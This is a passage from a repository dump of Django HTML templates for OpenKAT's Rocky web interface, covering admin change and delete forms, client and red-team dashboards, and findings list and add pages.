endblock %}\n            {% block userlinks %}\n                {% if site_url %}\n                    <a href=\"{{ site_url }}\">{% translate 'View site' %}</a> /\n                {% endif %}\n                {% if user.is_active and user.is_staff %}\n                    {% url 'django-admindocs-docroot' as docsroot %}\n                    {% if docsroot %}\n                        <a href=\"{{ docsroot }}\">{% translate 'Documentation' %}</a> /\n                    {% endif %}\n                {% endif %}\n                {% if user.has_usable_password %}\n                <a href=\"{% url 'admin:password_change' %}\">{% translate 'Change password' %}</a> /\n                {% endif %}\n                <form id=\"logout-form\" method=\"post\" action=\"{% url 'admin:logout' %}\">\n                    {% csrf_token %}\n                    <button type=\"submit\">{% translate 'Log out' %}</button>\n                </form>\n                {% include \"admin/color_theme_toggle.html\" %}\n            {% endblock %}\n        </div>\n        {% endif %}\n        {% endblock %}\n        {% block nav-global %}{% endblock %}\n    </header>\n    {% endblock %}\n    <!-- END Header -->\n    {% block nav-breadcrumbs %}\n      <nav aria-label=\"{% translate 'Breadcrumbs' %}\">\n        {% block breadcrumbs %}\n          <div class=\"breadcrumbs\">\n            <a href=\"{% url 'admin:index' %}\">{% translate 'Home' %}</a>\n            {% if title %} &rsaquo; {{ title }}{% endif %}\n          </div>\n        {% endblock %}\n      </nav>\n    {% endblock %}\n    {% endif %}\n\n    <div class=\"main\" id=\"main\">\n      {% if not is_popup and is_nav_sidebar_enabled %}\n        {% block nav-sidebar %}\n          {% include \"admin/nav_sidebar.html\" %}\n        {% endblock %}\n      {% endif %}\n      <main id=\"content-start\" class=\"content\" tabindex=\"-1\">\n        {% block messages %}\n          {% if messages %}\n            <ul class=\"messagelist\">{% for message in messages %}\n              <li{% if message.tags %} class=\"{{ message.tags }}\"{% endif %}>{{ message|capfirst }}</li>\n            {% endfor %}</ul>\n          {% endif %}\n        {% endblock messages %}\n        <!-- Content -->\n        <div id=\"content\" class=\"{% block coltype %}colM{% endblock %}\">\n          {% block pretitle %}{% endblock %}\n          {% block content_title %}{% if title %}<h1>{{ title }}</h1>{% endif %}{% endblock %}\n          {% block content_subtitle %}{% if subtitle %}<h2>{{ subtitle }}</h2>{% endif %}{% endblock %}\n          {% block content %}\n            {% block object-tools %}{% endblock %}\n            {{ content }}\n          {% endblock %}\n          {% block sidebar %}{% endblock %}\n          <br class=\"clear\">\n        </div>\n        <!-- END Content -->\n        {% block footer %}<div id=\"footer\"></div>{% endblock %}\n      </main>\n    </div>\n</div>\n<!-- END Container -->\n\n<!-- SVGs -->\n<svg xmlns=\"http://www.w3.org/2000/svg\" class=\"base-svgs\">\n  <symbol viewBox=\"0 0 24 24\" width=\"1rem\" height=\"1rem\" id=\"icon-auto\"><path d=\"M0 0h24v24H0z\" fill=\"currentColor\"/><path d=\"M12 22C6.477 22 2 17.523 2 12S6.477 2 12 2s10 4.477 10 10-4.477 10-10 10zm0-2V4a8 8 0 1 0 0 16z\"/></symbol>\n  <symbol viewBox=\"0 0 24 24\" width=\"1rem\" height=\"1rem\" id=\"icon-moon\"><path d=\"M0 0h24v24H0z\" fill=\"currentColor\"/><path d=\"M10 7a7 7 0 0 0 12 4.9v.1c0 5.523-4.477 10-10 10S2 17.523 2 12 6.477 2 12 2h.1A6.979 6.979 0 0 0 10 7zm-6 5a8 8 0 0 0 15.062 3.762A9 9 0 0 1 8.238 4.938 7.999 7.999 0 0 0 4 12z\"/></symbol>\n  <symbol viewBox=\"0 0 24 24\" width=\"1rem\" height=\"1rem\" id=\"icon-sun\"><path d=\"M0 0h24v24H0z\" fill=\"currentColor\"/><path d=\"M12 18a6 6 0 1 1 0-12 6 6 0 0 1 0 12zm0-2a4 4 0 1 0 0-8 4 4 0 0 0 0 8zM11 1h2v3h-2V1zm0 19h2v3h-2v-3zM3.515 4.929l1.414-1.414L7.05 5.636 5.636 7.05 3.515 4.93zM16.95 18.364l1.414-1.414 2.121 2.121-1.414 1.414-2.121-2.121zm2.121-14.85l1.414 1.415-2.121 2.121-1.414-1.414 2.121-2.121zM5.636 16.95l1.414 1.414-2.121 2.121-1.414-1.414 2.121-2.121zM23 11v2h-3v-2h3zM4 11v2H1v-2h3z\"/></symbol>\n</svg>\n<!-- END SVGs -->\n</body>\n</html>\n"
  },
  {
    "path": "rocky/rocky/templates/admin/change_form.html",
    "content": "{% extends \"admin/base_site.html\" %}\n{% load i18n admin_urls static admin_modify media_with_nonce %}\n\n{% block extrahead %}{{ block.super }}\n<script nonce=\"{{ request.csp_nonce }}\" src=\"{% url 'admin:jsi18n' %}\"></script>\n{% media_with_nonce %}\n{% endblock %}\n\n{% block extrastyle %}{{ block.super }}<link rel=\"stylesheet\" href=\"{% static \"admin/css/forms.css\" %}\">{% endblock %}\n\n{% block coltype %}colM{% endblock %}\n\n{% block bodyclass %}{{ block.super }} app-{{ opts.app_label }} model-{{ opts.model_name }} change-form{% endblock %}\n\n{% if not is_popup %}\n{% block breadcrumbs %}\n<div class=\"breadcrumbs\">\n<a href=\"{% url 'admin:index' %}\">{% translate 'Home' %}</a>\n&rsaquo; <a href=\"{% url 'admin:app_list' app_label=opts.app_label %}\">{{ opts.app_config.verbose_name }}</a>\n&rsaquo; {% if has_view_permission %}<a href=\"{% url opts|admin_urlname:'changelist' %}\">{{ opts.verbose_name_plural|capfirst }}</a>{% else %}{{ opts.verbose_name_plural|capfirst }}{% endif %}\n&rsaquo; {% if add %}{% blocktranslate with name=opts.verbose_name %}Add {{ name }}{% endblocktranslate %}{% else %}{{ original|truncatewords:\"18\" }}{% endif %}\n</div>\n{% endblock %}\n{% endif %}\n\n{% block content %}<div id=\"content-main\">\n{% block object-tools %}\n{% if change and not is_popup %}\n  <ul class=\"object-tools\">\n    {% block object-tools-items %}\n      {% change_form_object_tools %}\n    {% endblock %}\n  </ul>\n{% endif %}\n{% endblock %}\n<form {% if has_file_field %}enctype=\"multipart/form-data\" {% endif %}{% if form_url %}action=\"{{ form_url }}\" {% endif %}method=\"post\" id=\"{{ opts.model_name }}_form\" novalidate>{% csrf_token %}{% block form_top %}{% endblock %}\n<div>\n{% if is_popup %}<input type=\"hidden\" name=\"{{ is_popup_var }}\" value=\"1\">{% endif %}\n{% if to_field %}<input type=\"hidden\" name=\"{{ to_field_var }}\" value=\"{{ to_field }}\">{% endif %}\n{% if save_on_top %}{% block submit_buttons_top %}{% submit_row %}{% endblock %}{% endif %}\n{% if errors %}\n    <p class=\"errornote\">\n      {% blocktranslate count counter=errors|length trimmed %}\n        Please correct the error below.\n      {% plural %}\n        Please correct the errors below.\n      {% endblocktranslate %}\n    </p>\n    {{ adminform.form.non_field_errors }}\n{% endif %}\n\n{% block field_sets %}\n{% for fieldset in adminform %}\n  {% include \"admin/includes/fieldset.html\" %}\n{% endfor %}\n{% endblock %}\n\n{% block after_field_sets %}{% endblock %}\n\n{% block inline_field_sets %}\n{% for inline_admin_formset in inline_admin_formsets %}\n    {% include inline_admin_formset.opts.template %}\n{% endfor %}\n{% endblock %}\n\n{% block after_related_objects %}{% endblock %}\n\n{% block submit_buttons_bottom %}{% submit_row %}{% endblock %}\n\n{% block admin_change_form_document_ready %}\n    <script nonce=\"{{ request.csp_nonce }}\"\n            id=\"django-admin-form-add-constants\"\n            src=\"{% static 'admin/js/change_form.js' %}\"\n            {% if adminform and add %}\n                data-model-name=\"{{ opts.model_name }}\"\n            {% endif %}\n            async>\n    </script>\n{% endblock %}\n\n{# JavaScript for prepopulated fields #}\n{% prepopulated_fields_js %}\n\n</div>\n</form></div>\n{% endblock %}\n"
  },
  {
    "path": "rocky/rocky/templates/admin/change_list.html",
    "content": "{% extends \"admin/base_site.html\" %}\n{% load i18n admin_urls static admin_list media_with_nonce %}\n\n{% block extrastyle %}\n  {{ block.super }}\n  <link rel=\"stylesheet\" href=\"{% static \"admin/css/changelists.css\" %}\">\n  {% if cl.formset %}\n    <link rel=\"stylesheet\" href=\"{% static \"admin/css/forms.css\" %}\">\n  {% endif %}\n  {% if cl.formset or action_form %}\n    <script nonce=\"{{ request.csp_nonce }}\" src=\"{% url 'admin:jsi18n' %}\"></script>\n  {% endif %}\n  {{ media.css }}\n  {% if not actions_on_top and not actions_on_bottom %}\n    <style>\n      #changelist table thead th:first-child {width: inherit}\n    </style>\n  {% endif %}\n{% endblock %}\n\n{% block extrahead %}\n{{ block.super }}\n{% media_js_with_nonce %}\n<script nonce=\"{{ request.csp_nonce }}\" src=\"{% static 'admin/js/filters.js' %}\" defer></script>\n{% endblock %}\n\n{% block bodyclass %}{{ block.super }} app-{{ opts.app_label }} model-{{ opts.model_name }} change-list{% endblock %}\n\n{% if not is_popup %}\n{% block breadcrumbs %}\n<div class=\"breadcrumbs\">\n<a href=\"{% url 'admin:index' %}\">{% translate 'Home' %}</a>\n&rsaquo; <a href=\"{% url 'admin:app_list' app_label=cl.opts.app_label %}\">{{ cl.opts.app_config.verbose_name }}</a>\n&rsaquo; {{ cl.opts.verbose_name_plural|capfirst }}\n</div>\n{% endblock %}\n{% endif %}\n\n{% block coltype %}{% endblock %}\n\n{% block content %}\n  <div id=\"content-main\">\n    {% block object-tools %}\n        <ul class=\"object-tools\">\n          {% block object-tools-items %}\n            {% change_list_object_tools %}\n          {% endblock %}\n        </ul>\n    {% endblock %}\n    {% if cl.formset and cl.formset.errors %}\n        <p class=\"errornote\">\n          {% blocktranslate count counter=cl.formset.total_error_count trimmed %}\n            Please correct the error below.\n          {% plural %}\n            Please correct the errors below.\n          {% endblocktranslate %}\n        </p>\n        {{ cl.formset.non_form_errors }}\n    {% endif %}\n    <div class=\"module{% if cl.has_filters %} filtered{% endif %}\" id=\"changelist\">\n      <div class=\"changelist-form-container\">\n        {% block search %}{% search_form cl %}{% endblock %}\n        {% block date_hierarchy %}{% if cl.date_hierarchy %}{% date_hierarchy cl %}{% endif %}{% endblock %}\n\n        <form id=\"changelist-form\" method=\"post\"{% if cl.formset and cl.formset.is_multipart %} enctype=\"multipart/form-data\"{% endif %} novalidate>{% csrf_token %}\n        {% if cl.formset %}\n          <div>{{ cl.formset.management_form }}</div>\n        {% endif %}\n\n        {% block result_list %}\n          {% if action_form and actions_on_top and cl.show_admin_actions %}{% admin_actions %}{% endif %}\n          {% result_list cl %}\n          {% if action_form and actions_on_bottom and cl.show_admin_actions %}{% admin_actions %}{% endif %}\n        {% endblock %}\n        {% block pagination %}{% pagination cl %}{% endblock %}\n        </form>\n      </div>\n      {% block filters %}\n        {% if cl.has_filters %}\n          <div id=\"changelist-filter\">\n            <h2>{% translate 'Filter' %}</h2>\n            {% if cl.is_facets_optional or cl.has_active_filters %}<div id=\"changelist-filter-extra-actions\">\n              {% if cl.is_facets_optional %}<h3>\n                {% if cl.add_facets %}<a href=\"{{ cl.remove_facet_link }}\" class=\"hidelink\">{% translate \"Hide counts\" %}</a>\n                {% else %}<a href=\"{{ cl.add_facet_link }}\" class=\"viewlink\">{% translate \"Show counts\" %}</a>{% endif %}\n              </h3>{% endif %}\n              {% if cl.has_active_filters %}<h3>\n                <a href=\"{{ cl.clear_all_filters_qs }}\">&#10006; {% translate \"Clear all filters\" %}</a>\n              </h3>{% endif %}\n            </div>{% endif %}\n            {% for spec in cl.filter_specs %}{% admin_list_filter cl spec %}{% endfor %}\n          </div>\n        {% endif %}\n      {% endblock %}\n    </div>\n  </div>\n{% endblock %}\n"
  },
  {
    "path": "rocky/rocky/templates/admin/delete_confirmation.html",
    "content": "{% extends \"admin/base_site.html\" %}\n{% load i18n admin_urls static media_with_nonce %}\n\n{% block extrahead %}\n    {{ block.super }}\n    {% media_with_nonce %}\n    <script nonce=\"{{ request.csp_nonce }}\" src=\"{% static 'admin/js/cancel.js' %}\" async></script>\n{% endblock %}\n\n{% block bodyclass %}{{ block.super }} app-{{ opts.app_label }} model-{{ opts.model_name }} delete-confirmation{% endblock %}\n\n{% block breadcrumbs %}\n<div class=\"breadcrumbs\">\n<a href=\"{% url 'admin:index' %}\">{% translate 'Home' %}</a>\n&rsaquo; <a href=\"{% url 'admin:app_list' app_label=opts.app_label %}\">{{ opts.app_config.verbose_name }}</a>\n&rsaquo; <a href=\"{% url opts|admin_urlname:'changelist' %}\">{{ opts.verbose_name_plural|capfirst }}</a>\n&rsaquo; <a href=\"{% url opts|admin_urlname:'change' object.pk|admin_urlquote %}\">{{ object|truncatewords:\"18\" }}</a>\n&rsaquo; {% translate 'Delete' %}\n</div>\n{% endblock %}\n\n{% block content %}\n{% if perms_lacking %}\n  {% block delete_forbidden %}\n    <p>\n      {% blocktranslate with escaped_object=object trimmed %}\n        Deleting the {{ object_name }} '{{ escaped_object }}' would result in\n        deleting related objects, but your account doesn't have permission to\n        delete the following types of objects\n      {% endblocktranslate %}:\n    </p>\n    <ul id=\"deleted-objects\">{{ perms_lacking|unordered_list }}</ul>\n  {% endblock %}\n{% elif protected %}\n  {% block delete_protected %}\n    <p>\n      {% blocktranslate with escaped_object=object trimmed %}\n        Deleting the {{ object_name }} '{{ escaped_object }}' would require deleting\n        the following protected related objects\n      {% endblocktranslate %}:\n    </p>\n    <ul id=\"deleted-objects\">{{ protected|unordered_list }}</ul>\n  {% endblock %}\n{% else %}\n  {% block delete_confirm %}\n    <p>\n      {% blocktranslate with escaped_object=object trimmed %}\n        Are you sure you want to delete the {{ object_name }} \"{{ escaped_object }}\"?\n        All of the following related items will be deleted\n      {% endblocktranslate %}:\n    </p>\n    {% include \"admin/includes/object_delete_summary.html\" %}\n    <h2>{% translate \"Objects\" %}</h2>\n    <ul id=\"deleted-objects\">{{ deleted_objects|unordered_list }}</ul>\n    <form method=\"post\">{% csrf_token %}\n    <div>\n    <input type=\"hidden\" name=\"post\" value=\"yes\">\n    {% if is_popup %}<input type=\"hidden\" name=\"{{ is_popup_var }}\" value=\"1\">{% endif %}\n    {% if to_field %}<input type=\"hidden\" name=\"{{ to_field_var }}\" value=\"{{ to_field }}\">{% endif %}\n    <input type=\"submit\" value=\"{% translate 'Yes, I’m sure' %}\">\n    <a href=\"#\" class=\"button ghost\">{% translate \"No, take me back\" %}</a>\n    </div>\n    </form>\n  {% endblock %}\n{% endif %}\n{% endblock content %}\n"
  },
  {
    "path": "rocky/rocky/templates/admin/delete_selected_confirmation.html",
    "content": "{% extends \"admin/base_site.html\" %}\n{% load i18n l10n admin_urls static media_with_nonce %}\n\n{% block extrahead %}\n    {{ block.super }}\n    {% media_with_nonce %}\n    <script nonce=\"{{ request.csp_nonce }}\" src=\"{% static 'admin/js/cancel.js' %}\" async></script>\n{% endblock %}\n\n{% block bodyclass %}{{ block.super }} app-{{ opts.app_label }} model-{{ opts.model_name }} delete-confirmation delete-selected-confirmation{% endblock %}\n\n{% block breadcrumbs %}\n<div class=\"breadcrumbs\">\n<a href=\"{% url 'admin:index' %}\">{% translate 'Home' %}</a>\n&rsaquo; <a href=\"{% url 'admin:app_list' app_label=opts.app_label %}\">{{ opts.app_config.verbose_name }}</a>\n&rsaquo; <a href=\"{% url opts|admin_urlname:'changelist' %}\">{{ opts.verbose_name_plural|capfirst }}</a>\n&rsaquo; {% translate 'Delete multiple objects' %}\n</div>\n{% endblock %}\n\n{% block content %}\n{% if perms_lacking %}\n    <p>\n        {% blocktranslate trimmed %}\n            Deleting the selected {{ objects_name }} would result in deleting related objects,\n            but your account doesn't have permission to delete the following types of objects\n        {% endblocktranslate %}:\n    </p>\n    <ul>{{ perms_lacking|unordered_list }}</ul>\n{% elif protected %}\n    <p>\n        {% blocktranslate trimmed %}\n            Deleting the selected {{ objects_name }} would require deleting the following\n            protected related objects\n        {% endblocktranslate %}:\n    </p>\n    <ul>{{ protected|unordered_list }}</ul>\n{% else %}\n    <p>\n        {% blocktranslate trimmed %}\n            Are you sure you want to delete the selected {{ objects_name }}?\n            All of the following objects and their related items will be deleted\n        {% endblocktranslate %}:\n    </p>\n    {% include \"admin/includes/object_delete_summary.html\" %}\n    <h2>{% translate \"Objects\" %}</h2>\n    {% for deletable_object in deletable_objects %}\n        <ul>{{ deletable_object|unordered_list }}</ul>\n    {% endfor %}\n    <form method=\"post\">{% csrf_token %}\n        <div>\n            {% for obj in queryset %}\n                <input type=\"hidden\" name=\"{{ action_checkbox_name }}\" value=\"{{ obj.pk|unlocalize }}\">\n            {% endfor %}\n            <input type=\"hidden\" name=\"action\" value=\"delete_selected\">\n            <input type=\"hidden\" name=\"post\" value=\"yes\">\n            <input type=\"submit\" value=\"{% translate 'Yes, I’m sure' %}\">\n            <a href=\"#\" class=\"button ghost\">{% translate \"No, take me back\" %}</a>\n        </div>\n    </form>\n{% endif %}\n{% endblock %}\n"
  },
  {
    "path": "rocky/rocky/templates/admin/popup_response.html",
    "content": "{% load i18n static %}<!DOCTYPE html>\n<html>\n  <head><title>{% translate 'Popup closing…' %}</title></head>\n  <body>\n    <script nonce=\"{{ request.csp_nonce }}\"\n            id=\"django-admin-popup-response-constants\"\n            src=\"{% static \"admin/js/popup_response.js\" %}\"\n            data-popup-response=\"{{ popup_response_data }}\">\n    </script>\n  </body>\n</html>\n"
  },
  {
    "path": "rocky/rocky/templates/admin/prepopulated_fields_js.html",
    "content": "{% load static %}\n<script nonce=\"{{ request.csp_nonce }}\"\n        id=\"django-admin-prepopulated-fields-constants\"\n        src=\"{% static \"admin/js/prepopulate_init.js\" %}\"\n        data-prepopulated-fields=\"{{ prepopulated_fields_json }}\">\n</script>\n"
  },
  {
    "path": "rocky/rocky/templates/dashboard_client.html",
    "content": "{% extends \"layouts/base.html\" %}\n\n{% load static %}\n{% load i18n %}\n\n{% block content %}\n    <header>\n        {% include \"partials/skip-to-content.html\" %}\n        {% include \"partials/page-meta.html\" %}\n\n        <a href=\"{% url \"crisis_room\" %}\" class=\"logo\" title=\"OpenKAT\">\n            <img src=\"{% static \"img/kat_logo.png\" %}\" alt=\"OpenKAT logo\" />\n            Kwetsbaarheden Analyse Tool\n        </a>\n        <section>\n            <div>\n                <nav data-open-label=\"Menu\"\n                     data-close-label=\"{% translate \"Close menu\" %}\"\n                     aria-label=\"{% translate \"Main navigation\" %}\"\n                     data-media=\"(min-width: 42rem)\">\n                    <!-- Adjust breakpoint as needed to prevent main menu to break -->\n                    <div>\n                        <ul>\n                            <li>\n                                <a href=\"{% url \"crisis_room\" %}\">OpenKAT</a>\n                            </li>\n                            <li>\n                                <a href=\"{% url \"indemnification_add\" %}\">{% translate \"Indemnifications\" %}</a>\n                            </li>\n                            <li>\n                                <a href=\"{% url 'katalogus' %}\">{% translate \"KAT-alogus\" %}</a>\n                            </li>\n                            <li>\n                                <a href=\"{% url \"finding_list\" %}\">{% translate \"Findings\" %}</a>\n                            </li>\n                            <li>\n                                <a href=\"{% url \"ooi_list\" %}\">{% translate \"Objects\" %}</a>\n                            </li>\n                        </ul>\n                    </div>\n                </nav>\n                <div>\n                    <a class=\"button\" href=\"{% url \"logout\" %}\">{% translate \"Logout\" %}</a>\n                </div>\n            </div>\n        </section>\n    </header>\n    <main id=\"main-content\">\n        <section>\n            <div>\n                <h1>{% translate \"Welcome\" %}</h1>\n                <div class=\"horizontal-scroll\">\n                    <table>\n                        <caption class=\"visually-hidden\">{% translate \"User overview\" %}</caption>\n                        <thead>\n                            <tr>\n                                <th>User</th>\n                                <th>Active organization</th>\n                                <th>Code</th>\n                            </tr>\n                        </thead>\n                        <tbody>\n                            <tr>\n                                <td>{{ user.email }}</td>\n                                <td>{{ organization.name }}</td>\n                                <td>{{ organization.code }}</td>\n                            </tr>\n                        </tbody>\n                    </table>\n                </div>\n            </div>\n        </section>\n    </main>\n{% endblock content %}\n"
  },
  {
    "path": "rocky/rocky/templates/dashboard_redteam.html",
    "content": "{% extends \"layouts/base.html\" %}\n\n{% load static %}\n{% load i18n %}\n\n{% block content %}\n    <header>\n        {% include \"partials/skip-to-content.html\" %}\n        {% include \"partials/page-meta.html\" %}\n\n        <a href=\"{% url \"crisis_room\" %}\" class=\"logo\" title=\"OpenKAT\">\n            <img src=\"{% static \"img/kat_logo.png\" %}\" alt=\"OpenKAT logo\" />\n            Kwetsbaarheden Analyse Tool\n        </a>\n        <section>\n            <div>\n                <nav data-open-label=\"Menu\"\n                     data-close-label=\"{% translate \"Close menu\" %}\"\n                     aria-label=\"{% translate \"Main navigation\" %}\"\n                     data-media=\"(min-width: 56rem)\">\n                    <!-- Adjust breakpoint as needed -->\n                    <div>\n                        <ul>\n                            <li>\n                                <a href=\"{% url \"crisis_room\" %}\">OpenKAT</a>\n                            </li>\n                            <li>\n                                <a href=\"{% url 'organization_list' %}\">{% translate \"Organizations\" %}</a>\n                            </li>\n                            <li>\n                                <a href=\"{% url 'katalogus' %}\">{% translate \"KAT-alogus\" %}</a>\n                            </li>\n                            <li>\n                                <a href=\"{% url 'finding_list' %}\">{% translate \"Findings\" %}</a>\n                            </li>\n                            <li>\n                                <a href=\"{% url 'ooi_list' %}\">{% translate \"Objects\" %}</a>\n                            </li>\n                        </ul>\n                    </div>\n                </nav>\n                <div>\n                    <a class=\"button\" href=\"{% url 'logout' %}\">{% translate \"Logout\" %}</a>\n                </div>\n            </div>\n        </section>\n    </header>\n    <main id=\"main-content\">\n        <section>\n            <h1>{% translate \"Welcome\" %}</h1>\n            <div class=\"horizontal-scroll\">\n                <table>\n                    <caption class=\"visually-hidden\">{% translate \"User overview\" %}</caption>\n                    <thead>\n                        <tr>\n                            <th>User</th>\n                            <th>Active organization</th>\n                            <th>Code</th>\n                        </tr>\n                    </thead>\n                    <tbody>\n                        <tr>\n                            <td>{{ user.username }}</td>\n                            <td>{{ organization.name }}</td>\n                            {% if organization.code %}\n                                <td>{{ organization.code }}</td>\n                            {% else %}\n                                <td class=\"warning\" aria-label=\"{% translate \"warning\" %}\">\n                                    <span>{% translate \"Warning:\" %}</span> {% translate \"Organization code missing\" %}\n                                </td>\n                            {% endif %}\n                        </tr>\n                    </tbody>\n                </table>\n            </div>\n        </section>\n    </main>\n{% endblock content %}\n"
  },
  {
    "path": "rocky/rocky/templates/finding_type_add.html",
    "content": "{% extends \"layouts/base.html\" %}\n\n{% load i18n %}\n{% load static %}\n\n{% block content %}\n    {% include \"header.html\" %}\n\n    <main id=\"main-content\">\n        <article>\n            <div class=\"layout-form\">\n                <h1>{% translate \"Add finding type\" %}</h1>\n                <form action=\"{% url \"finding_type_add\" organization_code=organization.code %}\"\n                      method=\"post\"\n                      class=\"help\">\n                    {% csrf_token %}\n                    {% translate \"Finding Type\" as fieldset_legend %}\n                    {% include \"partials/form/fieldset.html\" with legend=fieldset_legend fields=form %}\n\n                    <button type=\"submit\">{% translate \"Add finding type\" %}</button>\n                </form>\n            </div>\n        </article>\n    </main>\n{% endblock content %}\n"
  },
  {
    "path": "rocky/rocky/templates/findings/finding_add.html",
    "content": "{% extends \"layouts/base.html\" %}\n\n{% load i18n %}\n{% load static %}\n\n{% block content %}\n    {% include \"header.html\" %}\n\n    <main id=\"main-content\">\n        <article>\n            <div class=\"layout-form\">\n                <h1>{% translate \"Add finding\" %}</h1>\n                <form action=\"{% url \"finding_add\" organization.code %}\"\n                      method=\"post\"\n                      class=\"help\">\n                    {% csrf_token %}\n                    {% include \"partials/form/fieldset.html\" with legend=fieldset_legend fields=form %}\n\n                    <button type=\"submit\">{% translate \"Add finding\" %}</button>\n                </form>\n            </div>\n        </article>\n    </main>\n{% endblock content %}\n"
  },
  {
    "path": "rocky/rocky/templates/findings/finding_list.html",
    "content": "{% extends \"layouts/base.html\" %}\n\n{% load i18n %}\n{% load static %}\n{% load ooi_extra %}\n\n{% block content %}\n    {% include \"header.html\" %}\n\n    <main id=\"main-content\">\n        <section>\n            <div>\n                <div class=\"introduction\">\n                    <div>\n                        <h1>\n                            {% translate \"Findings \" %}\n                            {% if historic_view %}\n                                @ {{ observed_at|date:'DATE_FORMAT' }}\n                            {% else %}\n                                @ now ({{ observed_at|date:'DATE_FORMAT' }})\n                            {% endif %}\n                        </h1>\n                        <p>\n                            {% blocktranslate trimmed with organization.name as organization_name %}\n                                An overview of all findings OpenKAT found for organization <strong>{{ organization_name }}</strong>.\n                                Each finding relates to an object. Click a finding for additional information.\n                            {% endblocktranslate %}\n                        </p>\n                    </div>\n                    {% include \"partials/findings_list_toolbar.html\" %}\n\n                </div>\n                {% if organization_member.can_add_dashboard_item and organization_member.can_change_dashboard %}\n                    <div class=\"toolbar\">\n                        <a href=\"#new-dashboard-item-modal\"\n                           class=\"button ghost\"\n                           data-modal-id=\"new-dashboard-item-modal\">{% translate \"Add to dashboard\" %}</a>\n                    </div>\n                    {% include \"partials/new_dashboard_item_modal.html\" with item_type=\"findings\" template=\"partials/dashboard_finding_list.html\" %}\n\n                {% endif %}\n                {% include \"findings/findings_filter.html\" %}\n\n                {% if object_list|length >= 1 %}\n                    {% if perms.tools.can_mute_findings %}\n                        {% include \"partials/mute_findings_modal.html\" %}\n\n                    {% endif %}\n                    <form method=\"post\"\n                          id=\"finding-list-form\"\n                          class=\"inline layout-wide\"\n                          action=\"{% url 'finding_mute_bulk' organization.code %}\">\n                        {% csrf_token %}\n                    {% endif %}\n                    <div class=\"fifty-fifty\">\n                        <div>\n                            <p class=\"de-emphasized\">\n                                {% blocktranslate trimmed with length=object_list|length total=paginator.count %}\n                                    Showing {{ length }} of {{ total }} findings\n                                {% endblocktranslate %}\n                            </p>\n                        </div>\n                        {% if object_list|length >= 1 and perms.tools.can_mute_findings %}\n                            <div class=\"horizontal-view toolbar\">\n                                {% if not only_muted %}\n                                    <a class=\"button ghost\" href=\"#mute-findings-modal\"><icon aria-hidden=\"true\" class=\"icon ti-bell-off\"></icon>{% translate \"Mute findings\" %}</a>\n                                {% else %}\n                                    <button type=\"submit\" class=\"ghost\" form=\"finding-list-form\">\n                                        <icon aria-hidden=\"true\" class=\"icon ti-bell\"></icon>{% translate \"Unmute findings\" %}\n                                    </button>\n                                    <input type=\"checkbox\" class=\"hidden\" value=\"true\" name=\"unmute\" checked>\n                                {% endif %}\n                            </div>\n                        {% endif %}\n                    </div>\n                    <div class=\"horizontal-scroll sticky-column\">\n                        <table class=\"action-buttons nowrap\">\n                            <caption class=\"visually-hidden\">\n                                {% translate \"Findings table \" %}\n                                <span class=\"visually-hidden\">, {% translate \"column headers with buttons are sortable\" %}</span>\n                            </caption>\n                            <thead>\n                                <tr>\n                                    {% if object_list and perms.tools.can_mute_findings %}\n                                        <th>\n                                            <input class=\"toggle-all\" data-toggle-target=\"finding\" type=\"checkbox\">\n                                        </th>\n                                    {% endif %}\n                                    <th scope=\"col\"\n                                        class=\"sortable\"\n                                        {% if order_by == \"score\" %}aria-sort=\"{{ sorting_order_class }}\"{% endif %}>\n                                        <button form=\"finding-list\" name=\"order_by\" value=\"score\" class=\"sort\">\n                                            {{ table_columns.severity }}\n                                            <span aria-hidden=\"true\"\n                                                  class=\"icon ti-{% if order_by == \"score\" and sorting_order == \"asc\" %}chevron-up{% elif order_by == \"score\" and sorting_order == \"desc\" %}chevron-down{% else %}direction{% endif %}\"></span>\n                                        </button>\n                                    </th>\n                                    <th scope=\"col\"\n                                        class=\"sortable\"\n                                        {% if order_by == \"finding_type\" %}aria-sort=\"{{ sorting_order_class }}\"{% endif %}>\n                                        <button form=\"finding-list\" name=\"order_by\" value=\"finding_type\" class=\"sort\">\n                                            {{ table_columns.finding }}\n                                            <span aria-hidden=\"true\"\n                                                  class=\"icon ti-{% if order_by == \"finding_type\" and sorting_order == \"asc\" %}chevron-up{% elif order_by == \"finding_type\" and sorting_order == \"desc\" %}chevron-down{% else %}direction{% endif %}\"></span>\n                                        </button>\n                                    </th>\n                                    <th>{{ table_columns.location }}</th>\n                                    <th>{{ table_columns.tree }}</th>\n                                    <th>{{ table_columns.graph }}</th>\n                                    <th class=\"sticky-cell visually-hidden actions\">{% translate \"Details\" %}</th>\n                                </tr>\n                            </thead>\n                            <tbody>\n                                {% for hydrated_finding in object_list %}\n                                    <tr>\n                                        {% if object_list and perms.tools.can_mute_findings %}\n                                            <td>\n                                                <input type=\"checkbox\"\n                                                       name=\"finding\"\n                                                       value=\"{{ hydrated_finding.finding.primary_key }}\">\n                                            </td>\n                                        {% endif %}\n                                        <td>\n                                            <span class=\"{{ hydrated_finding.finding_type.risk_severity.value|lower }}\">{{ hydrated_finding.finding_type.risk_severity.value|capfirst }}</span>\n                                        </td>\n                                        <td>\n                                            {% if hydrated_finding.finding_type.name %}\n                                                <a href=\"{% ooi_url \"ooi_detail\" hydrated_finding.finding.primary_key organization.code query=mandatory_fields observed_at=observed_at %}\"\n                                                   title=\"{% blocktranslate trimmed with finding=hydrated_finding.finding_type.name %} Show details for {{ finding }} {% endblocktranslate %}\">{{ hydrated_finding.finding_type.name }}</a>\n                                            {% else %}\n                                                <a href=\"{% ooi_url \"ooi_detail\" hydrated_finding.finding.primary_key organization.code query=mandatory_fields observed_at=observed_at %}\"\n                                                   title=\"{% blocktranslate trimmed with finding=hydrated_finding.finding.finding_type %} Show details for {{ finding }} {% endblocktranslate %}\">{{ hydrated_finding.finding.finding_type.human_readable }}</a>\n                                            {% endif %}\n                                        </td>\n                                        <td>\n                                            <a href=\"{% ooi_url \"ooi_detail\" hydrated_finding.finding.ooi organization.code query=mandatory_fields observed_at=observed_at %}\"\n                                               title=\"{% blocktranslate trimmed with finding=hydrated_finding.finding.primary_key %} Show details for {{ finding }} {% endblocktranslate %}\">{{ hydrated_finding.finding.ooi.human_readable }}</a>\n                                        </td>\n                                        <td class=\"actions\">\n                                            <a aria-label=\"Navigate to tree view of {{ hydrated_finding.finding.human_readable }}\"\n                                               class=\"icon ti-subtask button\"\n                                               href=\"{% ooi_url 'ooi_tree' hydrated_finding.finding.primary_key organization.code query=mandatory_fields observed_at=observed_at %}\">{% translate \"Tree\" %}</a>\n                                        </td>\n                                        <td class=\"actions\">\n                                            <a aria-label=\"Navigate to graph view of {{ hydrated_finding.finding.human_readable }}\"\n                                               class=\"icon ti-affiliate 